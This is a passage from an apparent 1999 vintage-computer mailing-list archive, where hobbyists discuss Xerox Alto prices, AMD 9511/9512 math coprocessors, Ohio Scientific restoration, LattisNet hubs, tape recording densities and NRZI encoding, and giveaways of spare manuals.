hardly walk around without tripping over them. Alright, so I exaggerate a bit. But they used to be in Weird Stuff all the time. Xerox sold tens of thousands of them. How many Altos did the sell? AFAIK, rounded to the nearest unit, exactly zero. I'm not trying to convince people that they should buy Al's Alto. Heck, I really want one but I don't have $5000 to spend. I just think Al's been getting a bum rap in Classiccmp for no good reason. IMHO it is not appropriate for people who aren't interested in buying the machine (due to price, or as-is condition, or any other reason) to take a sour-grapes view and try to convince everyone that there must be something wrong with it. Thought experiment: If you had an Alto II, and decided that you were willing to part with it, how much money would you ask for it? Bear in mind that it was the world's first mass-produced personal workstation, and that it was NEVER offered for sale. From Hans.Franke at mch20.sbs.de Wed Jan 27 15:26:42 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:36 2005 Subject: Ohio Scientific box In-Reply-To: References: <000901be3da6$d488e780$bb88e9cf@yamato.chipware.com> Message-ID: <199901272027.VAA03040@mail.siemens.de> > Be sure to let this group know if you get some of the old tape based > software onto CD.... What software titles do you have? What is the legal > status of all of those titles? BTW - I have, somewhere in the basement, the remaining stock of Hofacker computer - a (at least in germany) somewhat popular publishing company, that sold more than 120 books and hundreds of programms thru the early years - Ohio, TRS, Apple or PET - what ever - from 1977 until 1984 (?) they also published a magazine. I may have at least 30 cassetes for the Ohio - but no time to transfer (same or more for PET, etc.). Any volunteers ? Gruss H. -- Ich denke, also bin ich, also gut HRK From eric at brouhaha.com Wed Jan 27 14:29:43 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990127202943.24919.qmail@brouhaha.com> Tony wrote: > Speaking of which (:-)), does anyone else remember a 9511 card for the > Apple ][. I found one in a pile of boards that were being thrown out, > along with the manual (including schematic), but without any software. I used to have one of those years ago. There was a patched version of Applesoft BASIC that would use it. I'm not sure what other software was written for it. From joe at barrera.org Wed Jan 27 14:30:39 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:36 2005 Subject: Gordon Bell computer books on-line Message-ID: <015201be4a33$e97fd8d0$11d53d9d@JOEBAR> >I've just come across a site that has on-line copies of several >of Gordon Bell's (with others) books on computer architecture, >etc. (My apologies if I'm repeating something, I don't recall >seeing this posted here recently though). > >A menu leading to the books is located at the following site: > >http://beta.ul.cs.cmu.edu/webRoot/Books/Saving_Bell_Books/ They are also available on http://research.microsoft.com/users/gbell/Pubs.htm -- along with a lot more modern stuff just in case you're wondering what Gordon is up to these days. From Hans.Franke at mch20.sbs.de Wed Jan 27 15:31:51 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: <19990127202943.24919.qmail@brouhaha.com> References: (ard@p850ug1.demon.co.uk) Message-ID: <199901272032.VAA03914@mail.siemens.de> > Tony wrote: > > Speaking of which (:-)), does anyone else remember a 9511 card for the > > Apple ][. I found one in a pile of boards that were being thrown out, > > along with the manual (including schematic), but without any software. > I used to have one of those years ago. There was a patched version of > Applesoft BASIC that would use it. I'm not sure what other software was > written for it. There was also a Unit for UCSD Pascal. Gruss H. -- Ich denke, also bin ich, also gut HRK From jim at calico.litterbox.com Wed Jan 27 14:38:42 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:36 2005 Subject: Storage problem In-Reply-To: <36AF230C.A89DE58F@bigfoot.com> from "Max Eskin" at Jan 27, 1999 09:30:36 AM Message-ID: <199901272038.NAA25283@calico.litterbox.com> > If you don't feel like checking, it's about how it takes them so long to > transfer data to new tapes, the tapes begin to decay by the time they're > done. > I keep hearing about the problems of tape decay, but not very long ago I sent a 9 year old 9track to Tim Shoppa to read for me, and he was able to retrieve its entire contents, apparently without difficulty (or he's just that good :) This tape wasn't new when I used it - it was a leftover vms patch tape from the 4.whatever world. Now it was recorded at pretty low density - 1200bpi, if memory serves) but I would have expected it to have many more problems. It WAS stored in fairly dry conditions - on a bookshelf out of the sun in San Jose and Colorado, both reasonably dry places, is this the key factor here? BTW, has anyone heard from Tim lately? I'm wondering if my e-mail's not getting through to him. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From go at ao.com Wed Jan 27 14:42:34 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will tradeNational MM57109 In-Reply-To: <19990127202051499.AAA219@fuj0> Message-ID: <4.1.19990127123929.034b5240@office.ao.com> At 01:06 PM 1/27/99 -0700, you wrote: >You're absolutely correct . . . I actually got out my old AMD MOS >Microprocessors and Peripherals data book from 1985, and found that the >9511 is a stack oriented (like the HP calculators, I guess) arithmetic >processor capable of 16 and 32-bit floating point operations, while the >9512 is capable of 32 and 64-bit operations. > >The 9511, it seems is capable of many more functions, being somewhat >reminiscent of a "scientific" calculator, while the 9512 is capable of none >of the transcendental functions which the 9511 supports. Both are >stack-oriented, therefore ideal for RPN implementation. > >My steel-trap mind moves closer and closer every day to being a sievel . . > oh, well . . . it's HELL getting old. I don't know... The alternatives aren't nearly as appealing. Gary > >Dick From william at ans.net Wed Jan 27 14:43:10 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:36 2005 Subject: Synoptics LattisNet 1000 In-Reply-To: <199901271911.OAA04691@crobin.home.org> Message-ID: > A while back, I came into a couple of 36-port Synoptics hubs consisting > of: > 1 LattisNet 3030 concentrator > 3 LattisNet 3305 Ethernet UTP Host boards > 1 LattisNet 3333 Ethernet Retiming board > > Am I correct in assuming that this hub will only speak to LattisNet NICs > and not 10BaseT? I would assume that it will talk to whatever NICs get installed - 10baseT, 10base2, 10base5, etc.. I see these things from time to time - I will check up to see what they have installed. (Not Classic) I need a board from a dead Cisco 2500. Anyone? Anyone? William Donzelli william@ans.net From bill at chipware.com Wed Jan 27 14:47:38 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:36 2005 Subject: Ohio Scientific box In-Reply-To: <199901272027.VAA03040@mail.siemens.de> Message-ID: <000401be4a36$46a41380$bb88e9cf@yamato.chipware.com> Hans Franke wrote: > > Be sure to let this group know if you get some of the old tape based > > software onto CD.... What software titles do you have? What is the legal > > status of all of those titles? > > BTW - I have, somewhere in the basement, the remaining stock > of Hofacker computer - a (at least in germany) somewhat popular > publishing company, that sold more than 120 books and hundreds > of programms thru the early years - Ohio, TRS, Apple or PET - what > ever - from 1977 until 1984 (?) they also published a magazine. > I may have at least 30 cassetes for the Ohio - but no time to > transfer (same or more for PET, etc.). > > Any volunteers ? It's next on my list of things to do after I get my C3-D fully restored. BTW: For those interested in a progress report, I've booted OS-65U 1.45 and managed to make several copies of the diskette. Right now it will only boot at 1MHz and will only sometimes bring up time-share. This is strictly from floppy. I have not tried to bring up the SA1000 yet, the OS complains that the device is not ready, but keeps going. Right now I'm polishing pins and resoldering the "fatherboard" (backplane). Towards this end: What is the name of that very expensive but very effective contact cleaner/enhancer/lubricant. IIRC it was $50 US for a little bottle back in 1985. When I can reliably boot and bring up all four users at 2MHz, then I will work on the hard disk... THEN I will put all available cassette software on CD. Bill Sudbrink From dastar at ncal.verio.com Wed Jan 27 14:52:02 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:36 2005 Subject: Classic Computer Auctions List In-Reply-To: <3.0.5.32.19990127092348.00ca9100@pc> Message-ID: On Wed, 27 Jan 1999, John Foust wrote: > At 10:21 PM 1/26/99 -0800, Sam Ismail wrote: > >To demonstrate that old > >hardware that can be picked up for pennies can be combined to attain > >amazing amounts of computing power. > > Amazing? How many orders of magnitude difference in horsepower > between a C-64 and a $600 Best Buy Intel box? Perhaps I'm being > unromantic, and I certainly have too many old computers of the > XT/AT/486 variety, but I just don't "get" many of these distributed > computing projects. (I do leave my spare contemporary computers > working for the RC5 project at distributed.net, but that's another > story.) Take 10 computers at 1 horse each, and they're still not > equal to one contemporary (cheap) computer at 10 horses. Sure, > there's hack value in doing it, but mostly for people with too > much time on their hands, or for people who aren't paying for the > electric bill or the room to put them in. Hack away, sure - but > claim they're doing "useful" work? So when this is pulled off successfully and we demonstrate the value of this project, will you eat a print-out of this e-mail (on a standard 8.5 x 11 piece of paper) in front of the VCF crowd? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From eric at brouhaha.com Wed Jan 27 14:53:48 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 In-Reply-To: <19990127173212460.AAA303@fuj0> (edick@idcomm.com) References: <19990127173212460.AAA303@fuj0> Message-ID: <19990127205348.25125.qmail@brouhaha.com> Dick Erlacher wrote: > The 9511 was the floating point unit, and the 9512 was for 64-bit integer > arithmetic, I believe. Close. They were both floating point. The AMD 9511/Intel 8231 used a non-IEEE 32-bit format, and included transcendentals. The AMD 9512/Intel 8232 used IEEE 64-bit format, and only had the four basic arithmetic functions. Maybe it might have had square root, but definitely no transcendentals. Like the 8087, it predated the adoption of the final IEEE standard, so there may be minor differences, primarily in how infinities, denormalized numbers, NANs, and rounding are handled. From eric at brouhaha.com Wed Jan 27 14:54:57 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:36 2005 Subject: Synoptics LattisNet 1000 In-Reply-To: <199901271911.OAA04691@crobin.home.org> (message from John Ruschmeyer on Wed, 27 Jan 1999 14:11:20 -0500 (EST)) References: <199901271911.OAA04691@crobin.home.org> Message-ID: <19990127205457.25144.qmail@brouhaha.com> > Am I correct in assuming that this hub will only speak to LattisNet NICs > and not 10BaseT? It doesn't need special NICs, but it does need LattisNet transceivers, which means that the NICs must have an AUI connector. From cswiger at wilma.widomaker.com Wed Jan 27 14:56:45 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:36 2005 Subject: Hofacker books [was RE: Ohio Scientific box] Message-ID: >BTW - I have, somewhere in the basement, the remaining stock >of Hofacker computer - a (at least in germany) somewhat popular >publishing company, that sold more than 120 books and hundreds >of programms thru the early years - Ohio, TRS, Apple or PET - what >ever - from 1977 until 1984 (?) they also published a magazine. Oh boy - one of those for the Atari, called 'hackerbook' was a good referance for writing Atari 8bit device drivers. Sure was fun to make devices interfaced to the joystick-parallel I/O port using Hofacker as a guide. It also showed how to make your own plug in rom carts too, IIRC. Found it in a mall bookstore around '85. Chuck cswiger@widomaker.com From lemay at cs.umn.edu Wed Jan 27 15:11:40 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff Message-ID: <199901272111.PAA04915@thorin.cs.umn.edu> Sigh. I'm losing my secret storage room where i've been tossing all sorts of old manuals and such.. So, does anyone need this: Documentation sets for the SGI Indigo R3000 computer. Some printer supplies for a Tektronix Phaser III PXi. We have enough Indy Cameras to sink a ship, but we'll probably keep those for who knows what reason... -Lawrence LeMay From edick at idcomm.com Wed Jan 27 15:00:44 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:36 2005 Subject: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 Message-ID: <19990127213815327.AAA201@fuj0> Peter Boyle, along with Wayne Wall, at that time, of the Denver Area 6502 users' group, wrote driver routines, perhaps the ones which were used here to patch the 9511 into the Applesoft basic, for the group's Apple users. It would surprise me to learn that anyone still has this stuff, but if they do, you won't find anything much better. He also started on a set of drivers to go with his XPL0 language for the 6502. I'm not certain whether that task was ever completed. The drivers are quite straightforward, due to the device's architecture. However, as I recall, the patching it into the Applesoft basic was a pain. -Dick- ---------- > From: Eric Smith > To: Discussion re-collecting of classic computers > Subject: Re: AMD 9511, 9512, Intel 8231, 8232 wanted, will trade National MM57109 > Date: Wednesday, January 27, 1999 1:29 PM > > Tony wrote: > > Speaking of which (:-)), does anyone else remember a 9511 card for the > > Apple ][. I found one in a pile of boards that were being thrown out, > > along with the manual (including schematic), but without any software. > > I used to have one of those years ago. There was a patched version of > Applesoft BASIC that would use it. I'm not sure what other software was > written for it. From edick at idcomm.com Wed Jan 27 15:37:22 1999 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:40:36 2005 Subject: Classic Computer Auctions List Message-ID: <19990127215154945.AAA224@fuj0> Well . . . not to suggest that I'd consider eating that paper snackie . . . I've seen lots of dollars made with VIC-20's and C-64's, by guys who could imagine a solution to a problem which could be implemented via the printer port and a little bit of code. While the things were really plentiful at the local thrift store, they cost $5 for the computer and $5 for the power module. It seems to me that the internal bus was sufficiently accessible without sawing or drilling the case to allow an enteriprising individual to build custom hardware which harnessed the otherwise wasted ability of one of these gems, to control a 3-axis milling table, or something on that order. The first time was probably painful, but I haven't thrown away my manuals . . . Dick ---------- > From: Sam Ismail > To: Discussion re-collecting of classic computers > Subject: Re: Classic Computer Auctions List > Date: Wednesday, January 27, 1999 1:52 PM > > On Wed, 27 Jan 1999, John Foust wrote: > > > At 10:21 PM 1/26/99 -0800, Sam Ismail wrote: > > >To demonstrate that old > > >hardware that can be picked up for pennies can be combined to attain > > >amazing amounts of computing power. > > > > Amazing? How many orders of magnitude difference in horsepower > > between a C-64 and a $600 Best Buy Intel box? Perhaps I'm being > > unromantic, and I certainly have too many old computers of the > > XT/AT/486 variety, but I just don't "get" many of these distributed > > computing projects. (I do leave my spare contemporary computers > > working for the RC5 project at distributed.net, but that's another > > story.) Take 10 computers at 1 horse each, and they're still not > > equal to one contemporary (cheap) computer at 10 horses. Sure, > > there's hack value in doing it, but mostly for people with too > > much time on their hands, or for people who aren't paying for the > > electric bill or the room to put them in. Hack away, sure - but > > claim they're doing "useful" work? > > So when this is pulled off successfully and we demonstrate the value of > this project, will you eat a print-out of this e-mail (on a standard 8.5 x > 11 piece of paper) in front of the VCF crowd? > > Sellam Alternate e-mail: dastar@siconic.com > ---------------------------------------------------------------------------- -- > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] From healyzh at aracnet.com Wed Jan 27 15:47:51 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:36 2005 Subject: Storage problem In-Reply-To: <199901272038.NAA25283@calico.litterbox.com> from "Jim Strickland" at Jan 27, 99 01:38:42 pm Message-ID: <199901272147.NAA12125@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1174 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/c62c68cc/attachment.ksh From bsa3 at cornell.edu Wed Jan 27 16:01:29 1999 From: bsa3 at cornell.edu (Brad Ackerman) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: Message-ID: On Tue, 26 Jan 1999, Mark wrote: > I think the point is that Acrobat Reader is only available for a few > platforms, and if your computer isn't one of those you're stuck. (More > or less.) xpdf and GhostScript read PDF files just fine, and they are both open software. They'll run on anything that's Unix or close to it. Brad Ackerman N1MNB "...faced with the men and women who bring home bsa3@cornell.edu the pork, voters almost always re-elect them." http://skaro.pair.com/ -- _The Economist_, 31 Oct 1998 From lemay at cs.umn.edu Wed Jan 27 16:10:11 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:36 2005 Subject: more free stuff Message-ID: <199901272210.QAA04935@thorin.cs.umn.edu> I have a manual for a Rimfire 6700 disk array subsystem. I also have 2 floppy disks, one 5.25" and one 3.5", each is the Rimfire 6700 Utility Diskette (copyright 1993). I also have 2 copies of a disk drive manual, HP 97556/58/60 5.25-inch SCSI Disk Drives Technical Reference Manual. For whatever reason, these were printed on pink paper.. These are Edition 2, June 1991 Yours for the asking. You pay shipping at post office book rate. -Lawrence LeMay From pechter at monmouth.com Wed Jan 27 16:16:28 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <199901272038.NAA25283@calico.litterbox.com> from Jim Strickland at "Jan 27, 99 01:38:42 pm" Message-ID: <199901272216.RAA05697@pechter.nws.net> Jim Strickland said: > This tape wasn't new when I used it - it was a leftover vms patch tape from > the 4.whatever world. Now it was recorded at pretty low density - 1200bpi, > if memory serves) but I would have expected it to have many more problems. 1200bpi would be a bit wierd. Actually, the standard 7 and 9 track tape densities were something like: Tape Density Encoding method DEC Tape Drive 200BPI (NRZ?) 556BPI (NRZI?) TU10? 800BPI NRZI (Non-Return to Zero Indescrete) TU10/16/TE10/16 TU45/77/TS03? TS04? 1600BPI PE (Phase Encoded) TE16/TU45/TU77/TU78 TA78 TS11 3200BPI 6250BPI GCR (Group Coded Recording) TU78/TA78 I'm not sure if the TU10 went to 200BPI or 556BPI... Those were old old densities from early IBM stuff. I am also unsure of the TS03/04's. There were other machines like the Cipher 880's that did 3200BPI and 1600. DEC used one as the TSV05. Bill From jim at calico.litterbox.com Wed Jan 27 16:35:13 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <199901272216.RAA05697@pechter.nws.net> from "Bill Pechter" at Jan 27, 1999 05:16:28 PM Message-ID: <199901272235.PAA25921@calico.litterbox.com> I no longer have the tape - didn't see the need to get it back since I have nothing that could read it. 3200 may be right. It was a Dec TU80(?) tape. From cmcmanis at freegate.com Wed Jan 27 16:41:42 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:36 2005 Subject: more free stuff In-Reply-To: <199901272210.QAA04935@thorin.cs.umn.edu> Message-ID: <4.1.19990127144109.00b8e100@mailhost.hq.freegate.com> At 04:10 PM 1/27/99 -0600, Lawrence wrote: >I also have 2 copies of a disk drive manual, HP 97556/58/60 5.25-inch >SCSI Disk Drives Technical Reference Manual. For whatever reason, these were >printed on pink paper.. These are Edition 2, June 1991 That is because you cannot photocopy pink paper, it comes out black. --Chuck From cfandt at netsync.net Wed Jan 27 16:45:23 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <199901272216.RAA05697@pechter.nws.net> References: <199901272038.NAA25283@calico.litterbox.com> Message-ID: <4.1.19990127174040.00983940@206.231.8.2> Upon the date 05:16 PM 1/27/99 -0500, Bill Pechter said something like: >Jim Strickland said: > >> This tape wasn't new when I used it - it was a leftover vms patch tape from >> the 4.whatever world. Now it was recorded at pretty low density - 1200bpi, >> if memory serves) but I would have expected it to have many more problems. > >1200bpi would be a bit wierd. > >Actually, the standard 7 and 9 track tape densities were something like: > >Tape Density Encoding method DEC Tape Drive > >200BPI (NRZ?) >556BPI (NRZI?) TU10? > >800BPI NRZI (Non-Return to Zero Indescrete) TU10/16/TE10/16 > TU45/77/TS03? > TS04? > >1600BPI PE (Phase Encoded) TE16/TU45/TU77/TU78 > TA78 TS11 >3200BPI >6250BPI GCR (Group Coded Recording) TU78/TA78 > >I'm not sure if the TU10 went to 200BPI or 556BPI... Those were old old >densities from early IBM stuff. I am also unsure of the TS03/04's. Bill and others: I have a TS03 and its manual here. They indeed are 800 BPI NRZI. I can quote more info out of the manual if you need it to update your file of info you had for the above list. I have no other info on the other tape systems in my library at this time. > >There were other machines like the Cipher 880's that did 3200BPI >and 1600. DEC used one as the TSV05. > >Bill Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From doug at blinkenlights.com Wed Jan 27 16:48:58 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <19990127202508.24898.qmail@brouhaha.com> Message-ID: On 27 Jan 1999, Eric Smith wrote: > them. How many Altos did the sell? AFAIK, rounded to the nearest unit, > exactly zero. That's because they didn't have ebay back then. > If you had an Alto II, and decided that you were willing to part with it, > how much money would you ask for it? Bear in mind that it was the world's > first mass-produced personal workstation, and that it was NEVER offered for > sale. If I had a bunch of them, and they were taking up too much space in my living room, I would pay up to $100 for somebody to take it away. (OK, I'm projecting. That's the kind of deal I look for.) -- Doug From eric at brouhaha.com Wed Jan 27 16:49:10 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <199901272216.RAA05697@pechter.nws.net> (message from Bill Pechter on Wed, 27 Jan 1999 17:16:28 -0500 (EST)) References: <199901272216.RAA05697@pechter.nws.net> Message-ID: <19990127224910.26026.qmail@brouhaha.com> Bill Pechter wrote about 1/2 mag tapes and drives: > Tape Density Encoding method DEC Tape Drive > > 200BPI (NRZ?) > 556BPI (NRZI?) TU10? 200 and 556 were only used for 7-track. Even from a single vendor such as IBM, some 7-track systems used odd parity and others used even. I'm not sure what recording mode the even parity systems used, as NRZI wouldn't work with even parity unless you could otherwise guarantee that there are no all-zeros data conditions. See below. > 800BPI NRZI (Non-Return to Zero Indescrete) TU10/16/TE10/16 800 BPI was used for 7-track and 9-track. NRZI is Non Return to Zero Inverting. On a 9-track, each "line" on the tape consists of 8 data bits and an parity bit. The "I" (Inverting) means that a flux transition is recorded on the tape if a data bit in the line is different than the same bit position in the previous line. So unless the data is all zeros, each line will have at least one flux transition. Unlike DECtape, there is no "clock" track, so it is essential that there is always at least one track with a flux transition, from which a read clock can be recovered. The odd parity guarantees that if all 8 data bits are zero, the parity bit will be one, so there is still one flux transition. If the head isn't aligned properly, the flux transitions on multiple tracks may not occur at exactly the same time. The drive electronics is designed to deal with a certain amount of skew. > 1600BPI PE (Phase Encoded) TE16/TU45/TU77/TU78 > TA78 TS11 > 3200BPI I think 3200 also uses PE, but I'm not certain. It is much less common than 800, 1600, and 6250. > 6250BPI GCR (Group Coded Recording) TU78/TA78 HP also has a proprietary 6250XC format that adds data compression. This was the forerunner of DDS-DC, the data compression used on 3.81mm DDS (DAT) cartridges. From ss at allegro.com Wed Jan 27 17:02:32 1999 From: ss at allegro.com (ss@allegro.com) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <19990127224910.26026.qmail@brouhaha.com> References: <199901272216.RAA05697@pechter.nws.net> Message-ID: <199901272302.PAA44562@bart.allegro.com> Eric writes: > HP also has a proprietary 6250XC format that adds data compression. This > was the forerunner of DDS-DC, the data compression used on 3.81mm DDS (DAT) > cartridges. The nice thing about that format is that the first record on a compressed tape was written *uncompressed* with the data: "** Hewlett-Packard Precision Tape Compression **" (without the quotes). (Guess that's better than Imprecise Tape Compression :) sieler@allegro.com From netcafe at pirie.mtx.net.au Wed Jan 27 17:06:57 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff Message-ID: <01be4a49$bcfcba60$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Lawrence LeMay To: Discussion re-collecting of classic computers Date: Thursday, 28 January 1999 8:44 Subject: free stuff >We have enough Indy Cameras to sink a ship, but we'll probably keep those >for who knows what reason... Ok, I'll bite, WTH is an Indy Camera?? Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From donm at cts.com Wed Jan 27 17:11:04 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:36 2005 Subject: Televideo 802 computer? In-Reply-To: Message-ID: On Wed, 27 Jan 1999, Doug Spence wrote: **** snip **** > > I've got a Televideo TPC-I, and two of the disks I got with it are labeled > "TS-803/803H/TPC-I", which might imply that they are the same machine in > different packaging. > > It's an arm-stretcher, but I have managed to carry it for fairly lengthy > distances on a couple of occasions. I could hardly lift a fork to my > mouth after bringing it home the first time, though. :) > > Does anyone know how to program the graphics on that beast? And what was > the SuperMouse, and was it actually used for anything? > > Does anyone know a SAFE way of opening the TPC-I case? It looks like a > former owner tried and broke some plastic snaps. I tried unscrewing > everything but ended up with a free-floating power supply until I got it > jostled back over the screw holes. There must be a special technique to > cracking the case? I had mine apart long ago, and my recollection is that it was not all that difficult. However, it has been too long to remember the details. Lot a help I am!!! - don > I have some photos of the TPC-I on my web page. > > -- > Doug Spence > ds_spenc@alcor.concordia.ca > http://alcor.concordia.ca/~ds_spenc/ > From doug at blinkenlights.com Wed Jan 27 17:13:01 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff In-Reply-To: <01be4a49$bcfcba60$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: On Thu, 28 Jan 1999, Computer Room Internet Cafe wrote: > Ok, I'll bite, WTH is an Indy Camera?? A digital video camera for an SGI Indy. The market seems to be flooded with them right now for some reason. A guy had a couple of boxes of them at TRW last month. -- Doug From go at ao.com Wed Jan 27 17:19:09 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:36 2005 Subject: Old tape densities In-Reply-To: <19990127224910.26026.qmail@brouhaha.com> References: <199901272216.RAA05697@pechter.nws.net> <199901272216.RAA05697@pechter.nws.net> Message-ID: <4.1.19990127150249.034c1970@office.ao.com> At 10:49 PM 1/27/99 +0000, you wrote: >Bill Pechter wrote about 1/2 mag tapes and drives: > >> Tape Density Encoding method DEC Tape Drive >> >> 200BPI (NRZ?) >> 556BPI (NRZI?) TU10? > >200 and 556 were only used for 7-track. Even from a single vendor such >as IBM, some 7-track systems used odd parity and others used even. I'm >not sure what recording mode the even parity systems used, as NRZI wouldn't >work with even parity unless you could otherwise guarantee that there are >no all-zeros data conditions. See below. > >> 800BPI NRZI (Non-Return to Zero Indescrete) TU10/16/TE10/16 > >800 BPI was used for 7-track and 9-track. NRZI is Non Return to Zero >Inverting. On a 9-track, each "line" on the tape consists of 8 data bits and >an parity bit. The "I" (Inverting) means that a flux transition is recorded >on the tape if a data bit in the line is different than the same bit position >in the previous line. So unless the data is all zeros, each line will have at >least one flux transition. Unlike DECtape, there is no "clock" track, so it >is essential that there is always at least one track with a flux transition, >from which a read clock can be recovered. The odd parity guarantees that if >all 8 data bits are zero, the parity bit will be one, so there is still one >flux transition. > It was conventional on 7 track drives to use the modes "BCD" and "Binary" to describe the parity of the written characters. In BCD mode, each character was written in even parity, while "binary" mode wrote odd parity. One interesting side effect of this was the character code for '0' (usually six bits of 0) couldn't be represented, since. as described above, it would have been encoded as no flux changes for that field - i.e. a "blank" spot which would have been completely skipped by the read electronics. For this reason, some other character (often an octal 12 - often ':' in BCD) was chosen as the replacement character, so in BCD mode, often the ':' couldn't be represented. This code chosen varied from manufacturer to manufacturer. In "binary" mode with odd parity, all 6 bit codes could be represented since there would never be a field of all 0's. I've never found out why there needed to be both of these modes rather than just use binary mode for everything. Anyone know the reason for this? I should point out that my experience on this was on Control Data 3300 equipment (and some early CDC 6000 equipment with 7 track drives as well.) We also used a number of Kennedy (sp?) small stepper-motor 7 track 200BPI drives and, as far as I can tell (I have an old 7 track drive I use for reading legacy tapes) all densities 200, 556 and 800 BPI use NRZI. In fact for my small drive, setting "read" density is a No-op. It only affects the clock generator for writing. So I assume the only difference is how tight the bits are written to the tape. Gary From lemay at cs.umn.edu Wed Jan 27 17:27:42 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:36 2005 Subject: free stuff In-Reply-To: from Doug at "Jan 27, 1999 06:13:01 pm" Message-ID: <199901272327.RAA05060@thorin.cs.umn.edu> > On Thu, 28 Jan 1999, Computer Room Internet Cafe wrote: > > > Ok, I'll bite, WTH is an Indy Camera?? > > A digital video camera for an SGI Indy. The market seems to be flooded > with them right now for some reason. A guy had a couple of boxes of them > at TRW last month. > > -- Doug > Because they give you one with every computer you buy. And when you're buying a room full of computers for a computer lab, you dont want all those cameras installed. Thus you're stuck with a bunch of hardware you dont want to use, yet you dont want to throw it away.. -Lawrence LeMay From ard at p850ug1.demon.co.uk Wed Jan 27 13:51:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: from "Ward D. Griffiths III" at Jan 26, 99 11:21:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1029 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/d35e988f/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 13:55:27 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: ASR33 merit badge In-Reply-To: <4.1.19990126204043.00aa4650@208.226.86.10> from "Chuck McManis" at Jan 26, 99 08:42:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1219 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/d3ddeb45/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 14:02:33 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:36 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: from "Sam Ismail" at Jan 26, 99 10:27:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1053 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990127/485305a7/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jan 27 14:09:57 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: 